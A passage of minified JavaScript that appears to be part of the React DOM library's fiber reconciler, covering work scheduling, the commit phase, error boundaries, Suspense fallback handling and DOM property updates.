switch(o){case"forwards":for(n=t.child,o=null;null!==n;)null!==(r=n.alternate)&&null===pi(r)&&(o=n),n=n.sibling;null===(n=o)?(o=t.child,t.child=null):(o=n.sibling,n.sibling=null),pa(t,!1,o,n,i);break;case"backwards":for(n=null,o=t.child,t.child=null;null!==o;){if(null!==(r=o.alternate)&&null===pi(r)){t.child=o;break}r=o.sibling,o.sibling=n,n=o,o=r}pa(t,!0,n,null,i);break;case"together":pa(t,!1,null,null,void 0);break;default:t.memoizedState=null}return t.child}function ma(e,t,n){if(null!==e&&(t.dependencies=e.dependencies),t.childExpirationTime<n)return null;if(null!==e&&t.child!==e.child)throw a(Error(153));if(null!==t.child){for(n=zl(e=t.child,e.pendingProps,e.expirationTime),t.child=n,n.return=t;null!==e.sibling;)e=e.sibling,(n=n.sibling=zl(e,e.pendingProps,e.expirationTime)).return=t;n.sibling=null}return t.child}function ga(e){e.effectTag|=4}var va,ya,ba;function wa(e,t){switch(e.tailMode){case"hidden":t=e.tail;for(var n=null;null!==t;)null!==t.alternate&&(n=t),t=t.sibling;null===n?e.tail=null:n.sibling=null;break;case"collapsed":n=e.tail;for(var r=null;null!==n;)null!==n.alternate&&(r=n),n=n.sibling;null===r?t||null===e.tail?e.tail=null:e.tail.sibling=null:r.sibling=null}}function Ea(e){switch(e.tag){case 1:Fr(e.type)&&Ur();var t=e.effectTag;return 2048&t?(e.effectTag=-2049&t|64,e):null;case 3:if(si(),Br(),0!==(64&(t=e.effectTag)))throw a(Error(285));return e.effectTag=-2049&t|64,e;case 5:return fi(e),null;case 13:return Ar(di),2048&(t=e.effectTag)?(e.effectTag=-2049&t|64,e):null;case 18:return null;case 19:return Ar(di),null;case 4:return si(),null;case 10:return _o(e),null;default:return null}}function xa(e,t){return{value:e,source:t,stack:ft(t)}}va=function(e,t){for(var n=t.child;null!==n;){if(5===n.tag||6===n.tag)e.appendChild(n.stateNode);else if(20===n.tag)e.appendChild(n.stateNode.instance);else if(4!==n.tag&&null!==n.child){n.child.return=n,n=n.child;continue}if(n===t)break;for(;null===n.sibling;){if(null===n.return||n.return===t)return;n=n.return}n.sibling.return=n.return,n=n.sibling}},ya=function(e,t,n,r,i){var a=e.memoizedProps;if(a!==r){var l=t.stateNode;switch(li(oi.current),e=null,n){case"input":a=xt(l,a),r=xt(l,r),e=[];break;case"option":a=tr(l,a),r=tr(l,r),e=[];break;case"select":a=o({},a,{value:void 0}),r=o({},r,{value:void 0}),e=[];break;case"textarea":a=rr(l,a),r=rr(l,r),e=[];break;default:"function"!==typeof a.onClick&&"function"===typeof r.onClick&&(l.onclick=xr)}br(n,r),l=n=void 0;var u=null;for(n in a)if(!r.hasOwnProperty(n)&&a.hasOwnProperty(n)&&null!=a[n])if("style"===n){var s=a[n];for(l in s)s.hasOwnProperty(l)&&(u||(u={}),u[l]="")}else"dangerouslySetInnerHTML"!==n&&"children"!==n&&"suppressContentEditableWarning"!==n&&"suppressHydrationWarning"!==n&&"autoFocus"!==n&&(p.hasOwnProperty(n)?e||(e=[]):(e=e||[]).push(n,null));for(n in r){var c=r[n];if(s=null!=a?a[n]:void 0,r.hasOwnProperty(n)&&c!==s&&(null!=c||null!=s))if("style"===n)if(s){for(l in s)!s.hasOwnProperty(l)||c&&c.hasOwnProperty(l)||(u||(u={}),u[l]="");for(l in c)c.hasOwnProperty(l)&&s[l]!==c[l]&&(u||(u={}),u[l]=c[l])}else u||(e||(e=[]),e.push(n,u)),u=c;else"dangerouslySetInnerHTML"===n?(c=c?c.__html:void 0,s=s?s.__html:void 0,null!=c&&s!==c&&(e=e||[]).push(n,""+c)):"children"===n?s===c||"string"!==typeof c&&"number"!==typeof c||(e=e||[]).push(n,""+c):"suppressContentEditableWarning"!==n&&"suppressHydrationWarning"!==n&&(p.hasOwnProperty(n)?(null!=c&&Er(i,n),e||s===c||(e=[])):(e=e||[]).push(n,c))}u&&(e=e||[]).push("style",u),i=e,(t.updateQueue=i)&&ga(t)}},ba=function(e,t,n,r){n!==r&&ga(t)};var Sa="function"===typeof WeakSet?WeakSet:Set;function Ta(e,t){var n=t.source,r=t.stack;null===r&&null!==n&&(r=ft(n)),null!==n&&ct(n.type),t=t.value,null!==e&&1===e.tag&&ct(e.type);try{console.error(t)}catch(o){setTimeout((function(){throw o}))}}function Oa(e){var t=e.ref;if(null!==t)if("function"===typeof t)try{t(null)}catch(n){Rl(e,n)}else t.current=null}function ka(e,t,n){if(null!==(n=null!==(n=n.updateQueue)?n.lastEffect:null)){var r=n=n.next;do{if(0!==(r.tag&e)){var o=r.destroy;r.destroy=void 0,void 0!==o&&o()}0!==(r.tag&t)&&(o=r.create,r.destroy=o()),r=r.next}while(r!==n)}}function _a(e,t){switch("function"===typeof Dl&&Dl(e),e.tag){case 0:case 11:case 14:case 15:var n=e.updateQueue;if(null!==n&&null!==(n=n.lastEffect)){var r=n.next;ho(97<t?97:t,(function(){var t=r;do{var n=t.destroy;if(void 0!==n){var o=e;try{n()}catch(i){Rl(o,i)}}t=t.next}while(t!==r)}))}break;case 1:Oa(e),"function"===typeof(t=e.stateNode).componentWillUnmount&&function(e,t){try{t.props=e.memoizedProps,t.state=e.memoizedState,t.componentWillUnmount()}catch(n){Rl(e,n)}}(e,t);break;case 5:Oa(e);break;case 4:Na(e,t)}}function Pa(e,t){for(var n=e;;)if(_a(n,t),null!==n.child&&4!==n.tag)n.child.return=n,n=n.child;else{if(n===e)break;for(;null===n.sibling;){if(null===n.return||n.return===e)return;n=n.return}n.sibling.return=n.return,n=n.sibling}}function Ra(e){return 5===e.tag||3===e.tag||4===e.tag}function Ca(e){e:{for(var t=e.return;null!==t;){if(Ra(t)){var n=t;break e}t=t.return}throw a(Error(160))}switch(t=n.stateNode,n.tag){case 5:var r=!1;break;case 3:case 4:t=t.containerInfo,r=!0;break;default:throw a(Error(161))}16&n.effectTag&&(pr(t,""),n.effectTag&=-17);e:t:for(n=e;;){for(;null===n.sibling;){if(null===n.return||Ra(n.return)){n=null;break e}n=n.return}for(n.sibling.return=n.return,n=n.sibling;5!==n.tag&&6!==n.tag&&18!==n.tag;){if(2&n.effectTag)continue t;if(null===n.child||4===n.tag)continue t;n.child.return=n,n=n.child}if(!(2&n.effectTag)){n=n.stateNode;break e}}for(var o=e;;){var i=5===o.tag||6===o.tag;if(i||20===o.tag){var l=i?o.stateNode:o.stateNode.instance;if(n)if(r){var u=l;l=n,8===(i=t).nodeType?i.parentNode.insertBefore(u,l):i.insertBefore(u,l)}else t.insertBefore(l,n);else r?(8===(u=t).nodeType?(i=u.parentNode).insertBefore(l,u):(i=u).appendChild(l),null!==(u=u._reactRootContainer)&&void 0!==u||null!==i.onclick||(i.onclick=xr)):t.appendChild(l)}else if(4!==o.tag&&null!==o.child){o.child.return=o,o=o.child;continue}if(o===e)break;for(;null===o.sibling;){if(null===o.return||o.return===e)return;o=o.return}o.sibling.return=o.return,o=o.sibling}}function Na(e,t){for(var n=e,r=!1,o=void 0,i=void 0;;){if(!r){r=n.return;e:for(;;){if(null===r)throw a(Error(160));switch(o=r.stateNode,r.tag){case 5:i=!1;break e;case 3:case 4:o=o.containerInfo,i=!0;break e}r=r.return}r=!0}if(5===n.tag||6===n.tag)if(Pa(n,t),i){var l=o,u=n.stateNode;8===l.nodeType?l.parentNode.removeChild(u):l.removeChild(u)}else o.removeChild(n.stateNode);else if(20===n.tag)u=n.stateNode.instance,Pa(n,t),i?8===(l=o).nodeType?l.parentNode.removeChild(u):l.removeChild(u):o.removeChild(u);else if(4===n.tag){if(null!==n.child){o=n.stateNode.containerInfo,i=!0,n.child.return=n,n=n.child;continue}}else if(_a(n,t),null!==n.child){n.child.return=n,n=n.child;continue}if(n===e)break;for(;null===n.sibling;){if(null===n.return||n.return===e)return;4===(n=n.return).tag&&(r=!1)}n.sibling.return=n.return,n=n.sibling}}function Aa(e,t){switch(t.tag){case 0:case 11:case 14:case 15:ka(4,8,t);break;case 1:break;case 5:var n=t.stateNode;if(null!=n){var r=t.memoizedProps,o=null!==e?e.memoizedProps:r;e=t.type;var i=t.updateQueue;if(t.updateQueue=null,null!==i){for(n[L]=r,"input"===e&&"radio"===r.type&&null!=r.name&&Tt(n,r),wr(e,o),t=wr(e,r),o=0;o<i.length;o+=2){var l=i[o],u=i[o+1];"style"===l?vr(n,u):"dangerouslySetInnerHTML"===l?dr(n,u):"children"===l?pr(n,u):wt(n,l,u,t)}switch(e){case"input":Ot(n,r);break;case"textarea":ir(n,r);break;case"select":t=n._wrapperState.wasMultiple,n._wrapperState.wasMultiple=!!r.multiple,null!=(e=r.value)?nr(n,!!r.multiple,e,!1):t!==!!r.multiple&&(null!=r.defaultValue?nr(n,!!r.multiple,r.defaultValue,!0):nr(n,!!r.multiple,r.multiple?[]:"",!1))}}}break;case 6:if(null===t.stateNode)throw a(Error(162));t.stateNode.nodeValue=t.memoizedProps;break;case 3:case 12:break;case 13:if(n=t,null===t.memoizedState?r=!1:(r=!0,n=t.child,Ka=co()),null!==n)e:for(e=n;;){if(5===e.tag)i=e.stateNode,r?"function"===typeof(i=i.style).setProperty?i.setProperty("display","none","important"):i.display="none":(i=e.stateNode,o=void 0!==(o=e.memoizedProps.style)&&null!==o&&o.hasOwnProperty("display")?o.display:null,i.style.display=gr("display",o));else if(6===e.tag)e.stateNode.nodeValue=r?"":e.memoizedProps;else{if(13===e.tag&&null!==e.memoizedState){(i=e.child.sibling).return=e,e=i;continue}if(null!==e.child){e.child.return=e,e=e.child;continue}}if(e===n)break e;for(;null===e.sibling;){if(null===e.return||e.return===n)break e;e=e.return}e.sibling.return=e.return,e=e.sibling}ja(t);break;case 19:ja(t);break;case 17:case 20:break;default:throw a(Error(163))}}function ja(e){var t=e.updateQueue;if(null!==t){e.updateQueue=null;var n=e.stateNode;null===n&&(n=e.stateNode=new Sa),t.forEach((function(t){var r=Nl.bind(null,e,t);n.has(t)||(n.add(t),t.then(r,r))}))}}var Da="function"===typeof WeakMap?WeakMap:Map;function La(e,t,n){(n=Do(n,null)).tag=3,n.payload={element:null};var r=t.value;return n.callback=function(){Qa||(Qa=!0,Ja=r),Ta(e,t)},n}function Ia(e,t,n){(n=Do(n,null)).tag=3;var r=e.type.getDerivedStateFromError;if("function"===typeof r){var o=t.value;n.payload=function(){return Ta(e,t),r(o)}}var i=e.stateNode;return null!==i&&"function"===typeof i.componentDidCatch&&(n.callback=function(){"function"!==typeof r&&(null===Za?Za=new Set([this]):Za.add(this),Ta(e,t));var n=t.stack;this.componentDidCatch(t.value,{componentStack:null!==n?n:""})}),n}var Ma=Math.ceil,za=Ge.ReactCurrentDispatcher,Fa=Ge.ReactCurrentOwner,Ua=0,Ba=null,Wa=null,Ha=0,Va=0,Ya=1073741823,Ga=1073741823,$a=null,Xa=!1,Ka=0,qa=null,Qa=!1,Ja=null,Za=null,el=!1,tl=null,nl=90,rl=0,ol=null,il=0,al=null,ll=0;function ul(){return 0!==(48&Ua)?1073741821-(co()/10|0):0!==ll?ll:ll=1073741821-(co()/10|0)}function sl(e,t,n){if(0===(2&(t=t.mode)))return 1073741823;var r=fo();if(0===(4&t))return 99===r?1073741823:1073741822;if(0!==(16&Ua))return Ha;if(null!==n)e=1073741821-25*(1+((1073741821-e+(0|n.timeoutMs||5e3)/10)/25|0));else switch(r){case 99:e=1073741823;break;case 98:e=1073741821-10*(1+((1073741821-e+15)/10|0));break;case 97:case 96:e=1073741821-25*(1+((1073741821-e+500)/25|0));break;case 95:e=1;break;default:throw a(Error(326))}return null!==Ba&&e===Ha&&--e,e}var cl=0;function fl(e,t){if(50<il)throw il=0,al=null,a(Error(185));if(null!==(e=dl(e,t))){e.pingTime=0;var n=fo();if(1073741823===t)if(0!==(8&Ua)&&0===(48&Ua))for(var r=wl(e,1073741823,!0);null!==r;)r=r(!0);else pl(e,99,1073741823),0===Ua&&vo();else pl(e,n,t);0===(4&Ua)||98!==n&&99!==n||(null===ol?ol=new Map([[e,t]]):(void 0===(n=ol.get(e))||n>t)&&ol.set(e,t))}}function dl(e,t){e.expirationTime<t&&(e.expirationTime=t);var n=e.alternate;null!==n&&n.expirationTime<t&&(n.expirationTime=t);var r=e.return,o=null;if(null===r&&3===e.tag)o=e.stateNode;else for(;null!==r;){if(n=r.alternate,r.childExpirationTime<t&&(r.childExpirationTime=t),null!==n&&n.childExpirationTime<t&&(n.childExpirationTime=t),null===r.return&&3===r.tag){o=r.stateNode;break}r=r.return}return null!==o&&(t>o.firstPendingTime&&(o.firstPendingTime=t),0===(e=o.lastPendingTime)||t<e)&&(o.lastPendingTime=t),o}function pl(e,t,n){if(e.callbackExpirationTime<n){var r=e.callbackNode;null!==r&&r!==oo&&Xr(r),e.callbackExpirationTime=n,1073741823===n?e.callbackNode=go(hl.bind(null,e,wl.bind(null,e,n))):(r=null,1!==n&&(r={timeout:10*(1073741821-n)-co()}),e.callbackNode=mo(t,hl.bind(null,e,wl.bind(null,e,n)),r))}}function hl(e,t,n){var r=e.callbackNode,o=null;try{return null!==(o=t(n))?hl.bind(null,e,o):null}finally{null===o&&r===e.callbackNode&&(e.callbackNode=null,e.callbackExpirationTime=0)}}function ml(){0===(49&Ua)&&(function(){if(null!==ol){var e=ol;ol=null,e.forEach((function(e,t){go(wl.bind(null,t,e))})),vo()}}(),kl())}function gl(e,t){var n=Ua;Ua|=1;try{return e(t)}finally{0===(Ua=n)&&vo()}}function vl(e,t,n,r){var o=Ua;Ua|=4;try{return ho(98,e.bind(null,t,n,r))}finally{0===(Ua=o)&&vo()}}function yl(e,t){var n=Ua;Ua&=-2,Ua|=8;try{return e(t)}finally{0===(Ua=n)&&vo()}}function bl(e,t){e.finishedWork=null,e.finishedExpirationTime=0;var n=e.timeoutHandle;if(-1!==n&&(e.timeoutHandle=-1,Pr(n)),null!==Wa)for(n=Wa.return;null!==n;){var r=n;switch(r.tag){case 1:var o=r.type.childContextTypes;null!==o&&void 0!==o&&Ur();break;case 3:si(),Br();break;case 5:fi(r);break;case 4:si();break;case 13:case 19:Ar(di);break;case 10:_o(r)}n=n.return}Ba=e,Wa=zl(e.current,null),Ha=t,Va=0,Ga=Ya=1073741823,$a=null,Xa=!1}function wl(e,t,n){if(0!==(48&Ua))throw a(Error(327));if(e.firstPendingTime<t)return null;if(n&&e.finishedExpirationTime===t)return Tl.bind(null,e);if(kl(),e!==Ba||t!==Ha)bl(e,t);else if(3===Va)if(Xa)bl(e,t);else{var r=e.lastPendingTime;if(r<t)return wl.bind(null,e,r)}if(null!==Wa){r=Ua,Ua|=16;var o=za.current;if(null===o&&(o=Wi),za.current=Wi,n){if(1073741823!==t){var i=ul();if(i<t)return Ua=r,Oo(),za.current=o,wl.bind(null,e,i)}}else ll=0;for(;;)try{if(n)for(;null!==Wa;)Wa=xl(Wa);else for(;null!==Wa&&!Kr();)Wa=xl(Wa);break}catch(m){if(Oo(),Ni(),null===(i=Wa)||null===i.return)throw bl(e,t),Ua=r,m;e:{var l=e,u=i.return,s=i,c=m,f=Ha;if(s.effectTag|=1024,s.firstEffect=s.lastEffect=null,null!==c&&"object"===typeof c&&"function"===typeof c.then){var d=c,p=0!==(1&di.current);c=u;do{var h;if((h=13===c.tag)&&(null!==c.memoizedState?h=!1:h=void 0!==(h=c.memoizedProps).fallback&&(!0!==h.unstable_avoidThisFallback||!p)),h){if(null===(u=c.updateQueue)?((u=new Set).add(d),c.updateQueue=u):u.add(d),0===(2&c.mode)){c.effectTag|=64,s.effectTag&=-1957,1===s.tag&&(null===s.alternate?s.tag=17:((f=Do(1073741823,null)).tag=2,Io(s,f))),s.expirationTime=1073741823;break e}s=l,l=f,null===(p=s.pingCache)?(p=s.pingCache=new Da,u=new Set,p.set(d,u)):void 0===(u=p.get(d))&&(u=new Set,p.set(d,u)),u.has(l)||(u.add(l),s=Cl.bind(null,s,d,l),d.then(s,s)),c.effectTag|=2048,c.expirationTime=f;break e}c=c.return}while(null!==c);c=Error((ct(s.type)||"A React component")+" suspended while rendering, but no fallback UI was specified.\n\nAdd a <Suspense fallback=...> component higher in the tree to provide a loading indicator or placeholder to display."+ft(s))}4!==Va&&(Va=1),c=xa(c,s),s=u;do{switch(s.tag){case 3:s.effectTag|=2048,s.expirationTime=f,Mo(s,f=La(s,c,f));break e;case 1:if(d=c,l=s.type,u=s.stateNode,0===(64&s.effectTag)&&("function"===typeof l.getDerivedStateFromError||null!==u&&"function"===typeof u.componentDidCatch&&(null===Za||!Za.has(u)))){s.effectTag|=2048,s.expirationTime=f,Mo(s,f=Ia(s,d,f));break e}}s=s.return}while(null!==s)}Wa=Sl(i)}if(Ua=r,Oo(),za.current=o,null!==Wa)return wl.bind(null,e,t)}if(e.finishedWork=e.current.alternate,e.finishedExpirationTime=t,function(e,t){var n=e.firstBatch;return!!(null!==n&&n._defer&&n._expirationTime>=t)&&(mo(97,(function(){return n._onComplete(),null})),!0)}(e,t))return null;switch(Ba=null,Va){case 0:throw a(Error(328));case 1:return(r=e.lastPendingTime)<t?wl.bind(null,e,r):n?Tl.bind(null,e):(bl(e,t),go(wl.bind(null,e,t)),null);case 2:return 1073741823===Ya&&!n&&10<(n=Ka+500-co())?Xa?(bl(e,t),wl.bind(null,e,t)):(r=e.lastPendingTime)<t?wl.bind(null,e,r):(e.timeoutHandle=_r(Tl.bind(null,e),n),null):Tl.bind(null,e);case 3:if(!n){if(Xa)return bl(e,t),wl.bind(null,e,t);if((n=e.lastPendingTime)<t)return wl.bind(null,e,n);if(1073741823!==Ga?n=10*(1073741821-Ga)-co():1073741823===Ya?n=0:(n=10*(1073741821-Ya)-5e3,0>(n=(r=co())-n)&&(n=0),(t=10*(1073741821-t)-r)<(n=(120>n?120:480>n?480:1080>n?1080:1920>n?1920:3e3>n?3e3:4320>n?4320:1960*Ma(n/1960))-n)&&(n=t)),10<n)return e.timeoutHandle=_r(Tl.bind(null,e),n),null}return Tl.bind(null,e);case 4:return!n&&1073741823!==Ya&&null!==$a&&(r=Ya,0>=(t=0|(o=$a).busyMinDurationMs)?t=0:(n=0|o.busyDelayMs,t=(r=co()-(10*(1073741821-r)-(0|o.timeoutMs||5e3)))<=n?0:n+t-r),10<t)?(e.timeoutHandle=_r(Tl.bind(null,e),t),null):Tl.bind(null,e);default:throw a(Error(329))}}function El(e,t){e<Ya&&1<e&&(Ya=e),null!==t&&e<Ga&&1<e&&(Ga=e,$a=t)}function xl(e){var t=Al(e.alternate,e,Ha);return e.memoizedProps=e.pendingProps,null===t&&(t=Sl(e)),Fa.current=null,t}function Sl(e){Wa=e;do{var t=Wa.alternate;if(e=Wa.return,0===(1024&Wa.effectTag)){e:{var n=t,r=Ha,i=(t=Wa).pendingProps;switch(t.tag){case 2:case 16:break;case 15:case 0:break;case 1:Fr(t.type)&&Ur();break;case 3:si(),Br(),(r=t.stateNode).pendingContext&&(r.context=r.pendingContext,r.pendingContext=null),null!==n&&null!==n.child||(Ji(t),t.effectTag&=-3);break;case 5:fi(t),r=li(ai.current);var l=t.type;if(null!==n&&null!=t.stateNode)ya(n,t,l,i,r),n.ref!==t.ref&&(t.effectTag|=128);else if(i){var u=li(oi.current);if(Ji(t)){i=void 0,l=(n=t).stateNode;var s=n.type,c=n.memoizedProps;switch(l[D]=n,l[L]=c,s){case"iframe":case"object":case"embed":Ln("load",l);break;case"video":case"audio":for(var f=0;f<ne.length;f++)Ln(ne[f],l);break;case"source":Ln("error",l);break;case"img":case"image":case"link":Ln("error",l),Ln("load",l);break;case"form":Ln("reset",l),Ln("submit",l);break;case"details":Ln("toggle",l);break;case"input":St(l,c),Ln("invalid",l),Er(r,"onChange");break;case"select":l._wrapperState={wasMultiple:!!c.multiple},Ln("invalid",l),Er(r,"onChange");break;case"textarea":or(l,c),Ln("invalid",l),Er(r,"onChange")}for(i in br(s,c),f=null,c)c.hasOwnProperty(i)&&(u=c[i],"children"===i?"string"===typeof u?l.textContent!==u&&(f=["children",u]):"number"===typeof u&&l.textContent!==""+u&&(f=["children",""+u]):p.hasOwnProperty(i)&&null!=u&&Er(r,i));switch(s){case"input":Ve(l),kt(l,c,!0);break;case"textarea":Ve(l),ar(l);break;case"select":case"option":break;default:"function"===typeof c.onClick&&(l.onclick=xr)}r=f,n.updateQueue=r,null!==r&&ga(t)}else{c=l,n=i,s=t,f=9===r.nodeType?r:r.ownerDocument,u===lr&&(u=sr(c)),u===lr?"script"===c?((c=f.createElement("div")).innerHTML="<script><\/script>",f=c.removeChild(c.firstChild)):"string"===typeof n.is?f=f.createElement(c,{is:n.is}):(f=f.createElement(c),"select"===c&&(c=f,n.multiple?c.multiple=!0:n.size&&(c.size=n.size))):f=f.createElementNS(u,c),(c=f)[D]=s,c[L]=n,va(n=c,t),s=n;var d=r,h=wr(l,i);switch(l){case"iframe":case"object":case"embed":Ln("load",s),r=i;break;case"video":case"audio":for(r=0;r<ne.length;r++)Ln(ne[r],s);r=i;break;case"source":Ln("error",s),r=i;break;case"img":case"image":case"link":Ln("error",s),Ln("load",s),r=i;break;case"form":Ln("reset",s),Ln("submit",s),r=i;break;case"details":Ln("toggle",s),r=i;break;case"input":St(s,i),r=xt(s,i),Ln("invalid",s),Er(d,"onChange");break;case"option":r=tr(s,i);break;case"select":s._wrapperState={wasMultiple:!!i.multiple},r=o({},i,{value:void 0}),Ln("invalid",s),Er(d,"onChange");break;case"textarea":or(s,i),r=rr(s,i),Ln("invalid",s),Er(d,"onChange");break;default:r=i}br(l,r),c=void 0,f=l,u=s;var m=r;for(c in m)if(m.hasOwnProperty(c)){var g=m[c];"style"===c?vr(u,g):"dangerouslySetInnerHTML"===c?null!=(g=g?g.__html:void 0)&&dr(u,g):"children"===c?"string"===typeof g?("textarea"!==f||""!==g)&&pr(u,g):"number"===typeof g&&pr(u,""+g):"suppressContentEditableWarning"!==c&&"suppressHydrationWarning"!==c&&"autoFocus"!==c&&(p.hasOwnProperty(c)?null!=g&&Er(d,c):null!=g&&wt(u,c,g,h))}switch(l){case"input":Ve(s),kt(s,i,!1);break;case"textarea":Ve(s),ar(s);break;case"option":null!=i.value&&s.setAttribute("value",""+Et(i.value));break;case"select":r=s,s=i,r.multiple=!!s.multiple,null!=(c=s.value)?nr(r,!!s.multiple,c,!1):null!=s.defaultValue&&nr(r,!!s.multiple,s.defaultValue,!0);break;default:"function"===typeof r.onClick&&(s.onclick=xr)}Or(l,i)&&ga(t),t.stateNode=n}null!==t.ref&&(t.effectTag|=128)}else if(null===t.stateNode)throw a(Error(166));break;case 6:if(n&&null!=t.stateNode)ba(0,t,n.memoizedProps,i);else{if("string"!==typeof i&&null===t.stateNode)throw a(Error(166));n=li(ai.current),li(oi.current),Ji(t)?(r=t.stateNode,n=t.memoizedProps,r[D]=t,r.nodeValue!==n&&ga(t)):(r=t,(n=(9===n.nodeType?n:n.ownerDocument).createTextNode(i))[D]=t,r.stateNode=n)}break;case 11:break;case 13:if(Ar(di),i=t.memoizedState,0!==(64&t.effectTag)){t.expirationTime=r;break e}r=null!==i,i=!1,null===n?Ji(t):(i=null!==(l=n.memoizedState),r||null===l||null!==(l=n.child.sibling)&&(null!==(s=t.firstEffect)?(t.firstEffect=l,l.nextEffect=s):(t.firstEffect=t.lastEffect=l,l.nextEffect=null),l.effectTag=8)),r&&!i&&0!==(2&t.mode)&&(null===n&&!0!==t.memoizedProps.unstable_avoidThisFallback||0!==(1&di.current)?0===Va&&(Va=2):0!==Va&&2!==Va||(Va=3)),(r||i)&&(t.effectTag|=4);break;case 7:case 8:case 12:break;case 4:si();break;case 10:_o(t);break;case 9:case 14:break;case 17:Fr(t.type)&&Ur();break;case 18:break;case 19:if(Ar(di),null===(i=t.memoizedState))break;if(l=0!==(64&t.effectTag),null===(s=i.rendering)){if(l)wa(i,!1);else if(0!==Va||null!==n&&0!==(64&n.effectTag))for(n=t.child;null!==n;){if(null!==(s=pi(n))){for(t.effectTag|=64,wa(i,!1),null!==(n=s.updateQueue)&&(t.updateQueue=n,t.effectTag|=4),t.firstEffect=t.lastEffect=null,n=t.child;null!==n;)l=r,(i=n).effectTag&=2,i.nextEffect=null,i.firstEffect=null,i.lastEffect=null,null===(s=i.alternate)?(i.childExpirationTime=0,i.expirationTime=l,i.child=null,i.memoizedProps=null,i.memoizedState=null,i.updateQueue=null,i.dependencies=null):(i.childExpirationTime=s.childExpirationTime,i.expirationTime=s.expirationTime,i.child=s.child,i.memoizedProps=s.memoizedProps,i.memoizedState=s.memoizedState,i.updateQueue=s.updateQueue,l=s.dependencies,i.dependencies=null===l?null:{expirationTime:l.expirationTime,firstContext:l.firstContext,responders:l.responders}),n=n.sibling;jr(di,1&di.current|2),t=t.child;break e}n=n.sibling}}else{if(!l)if(null!==(n=pi(s))){if(t.effectTag|=64,l=!0,wa(i,!0),null===i.tail&&"hidden"===i.tailMode){null!==(r=n.updateQueue)&&(t.updateQueue=r,t.effectTag|=4),null!==(t=t.lastEffect=i.lastEffect)&&(t.nextEffect=null);break}}else co()>i.tailExpiration&&1<r&&(t.effectTag|=64,l=!0,wa(i,!1),t.expirationTime=t.childExpirationTime=r-1);i.isBackwards?(s.sibling=t.child,t.child=s):(null!==(r=i.last)?r.sibling=s:t.child=s,i.last=s)}if(null!==i.tail){0===i.tailExpiration&&(i.tailExpiration=co()+500),r=i.tail,i.rendering=r,i.tail=r.sibling,i.lastEffect=t.lastEffect,r.sibling=null,n=di.current,jr(di,n=l?1&n|2:1&n),t=r;break e}break;case 20:break;default:throw a(Error(156))}t=null}if(r=Wa,1===Ha||1!==r.childExpirationTime){for(n=0,i=r.child;null!==i;)(l=i.expirationTime)>n&&(n=l),(s=i.childExpirationTime)>n&&(n=s),i=i.sibling;r.childExpirationTime=n}if(null!==t)return t;null!==e&&0===(1024&e.effectTag)&&(null===e.firstEffect&&(e.firstEffect=Wa.firstEffect),null!==Wa.lastEffect&&(null!==e.lastEffect&&(e.lastEffect.nextEffect=Wa.firstEffect),e.lastEffect=Wa.lastEffect),1<Wa.effectTag&&(null!==e.lastEffect?e.lastEffect.nextEffect=Wa:e.firstEffect=Wa,e.lastEffect=Wa))}else{if(null!==(t=Ea(Wa)))return t.effectTag&=1023,t;null!==e&&(e.firstEffect=e.lastEffect=null,e.effectTag|=1024)}if(null!==(t=Wa.sibling))return t;Wa=e}while(null!==Wa);return 0===Va&&(Va=4),null}function Tl(e){var t=fo();return ho(99,Ol.bind(null,e,t)),null!==tl&&mo(97,(function(){return kl(),null})),null}function Ol(e,t){if(kl(),0!==(48&Ua))throw a(Error(327));var n=e.finishedWork,r=e.finishedExpirationTime;if(null===n)return null;if(e.finishedWork=null,e.finishedExpirationTime=0,n===e.current)throw a(Error(177));e.callbackNode=null,e.callbackExpirationTime=0;var o=n.expirationTime,i=n.childExpirationTime;if(o=i>o?i:o,e.firstPendingTime=o,o<e.lastPendingTime&&(e.lastPendingTime=o),e===Ba&&(Wa=Ba=null,Ha=0),1<n.effectTag?null!==n.lastEffect?(n.lastEffect.nextEffect=n,o=n.firstEffect):o=n:o=n.firstEffect,null!==o){i=Ua,Ua|=32,Fa.current=null,Sr=Dn;var l=Yn();if(Gn(l)){if("selectionStart"in l)var u={start:l.selectionStart,end:l.selectionEnd};else e:{var s=(u=(u=l.ownerDocument)&&u.defaultView||window).getSelection&&u.getSelection();if(s&&0!==s.rangeCount){u=s.anchorNode;var c=s.anchorOffset,f=s.focusNode;s=s.focusOffset;try{u.nodeType,f.nodeType}catch(F){u=null;break e}var d=0,p=-1,h=-1,m=0,g=0,v=l,y=null;t:for(;;){for(var b;v!==u||0!==c&&3!==v.nodeType||(p=d+c),v!==f||0!==s&&3!==v.nodeType||(h=d+s),3===v.nodeType&&(d+=v.nodeValue.length),null!==(b=v.firstChild);)y=v,v=b;for(;;){if(v===l)break t;if(y===u&&++m===c&&(p=d),y===f&&++g===s&&(h=d),null!==(b=v.nextSibling))break;y=(v=y).parentNode}v=b}u=-1===p||-1===h?null:{start:p,end:h}}else u=null}u=u||{start:0,end:0}}else u=null;Tr={focusedElem:l,selectionRange:u},Dn=!1,qa=o;do{try{for(;null!==qa;){if(0!==(256&qa.effectTag)){var w=qa.alternate;switch((l=qa).tag){case 0:case 11:case 15:ka(2,0,l);break;case 1:if(256&l.effectTag&&null!==w){var E=w.memoizedProps,x=w.memoizedState,S=l.stateNode,T=S.getSnapshotBeforeUpdate(l.elementType===l.type?E:wo(l.type,E),x);S.__reactInternalSnapshotBeforeUpdate=T}break;case 3:case 5:case 6:case 4:case 17:break;default:throw a(Error(163))}}qa=qa.nextEffect}}catch(F){if(null===qa)throw a(Error(330));Rl(qa,F),qa=qa.nextEffect}}while(null!==qa);qa=o;do{try{for(w=t;null!==qa;){var O=qa.effectTag;if(16&O&&pr(qa.stateNode,""),128&O){var k=qa.alternate;if(null!==k){var _=k.ref;null!==_&&("function"===typeof _?_(null):_.current=null)}}switch(14&O){case 2:Ca(qa),qa.effectTag&=-3;break;case 6:Ca(qa),qa.effectTag&=-3,Aa(qa.alternate,qa);break;case 4:Aa(qa.alternate,qa);break;case 8:Na(E=qa,w),E.return=null,E.child=null,E.memoizedState=null,E.updateQueue=null,E.dependencies=null;var P=E.alternate;null!==P&&(P.return=null,P.child=null,P.memoizedState=null,P.updateQueue=null,P.dependencies=null)}qa=qa.nextEffect}}catch(F){if(null===qa)throw a(Error(330));Rl(qa,F),qa=qa.nextEffect}}while(null!==qa);if(_=Tr,k=Yn(),O=_.focusedElem,w=_.selectionRange,k!==O&&O&&O.ownerDocument&&function e(t,n){return!(!t||!n)&&(t===n||(!t||3!==t.nodeType)&&(n&&3===n.nodeType?e(t,n.parentNode):"contains"in t?t.contains(n):!!t.compareDocumentPosition&&!!(16&t.compareDocumentPosition(n))))}(O.ownerDocument.documentElement,O)){null!==w&&Gn(O)&&(k=w.start,void 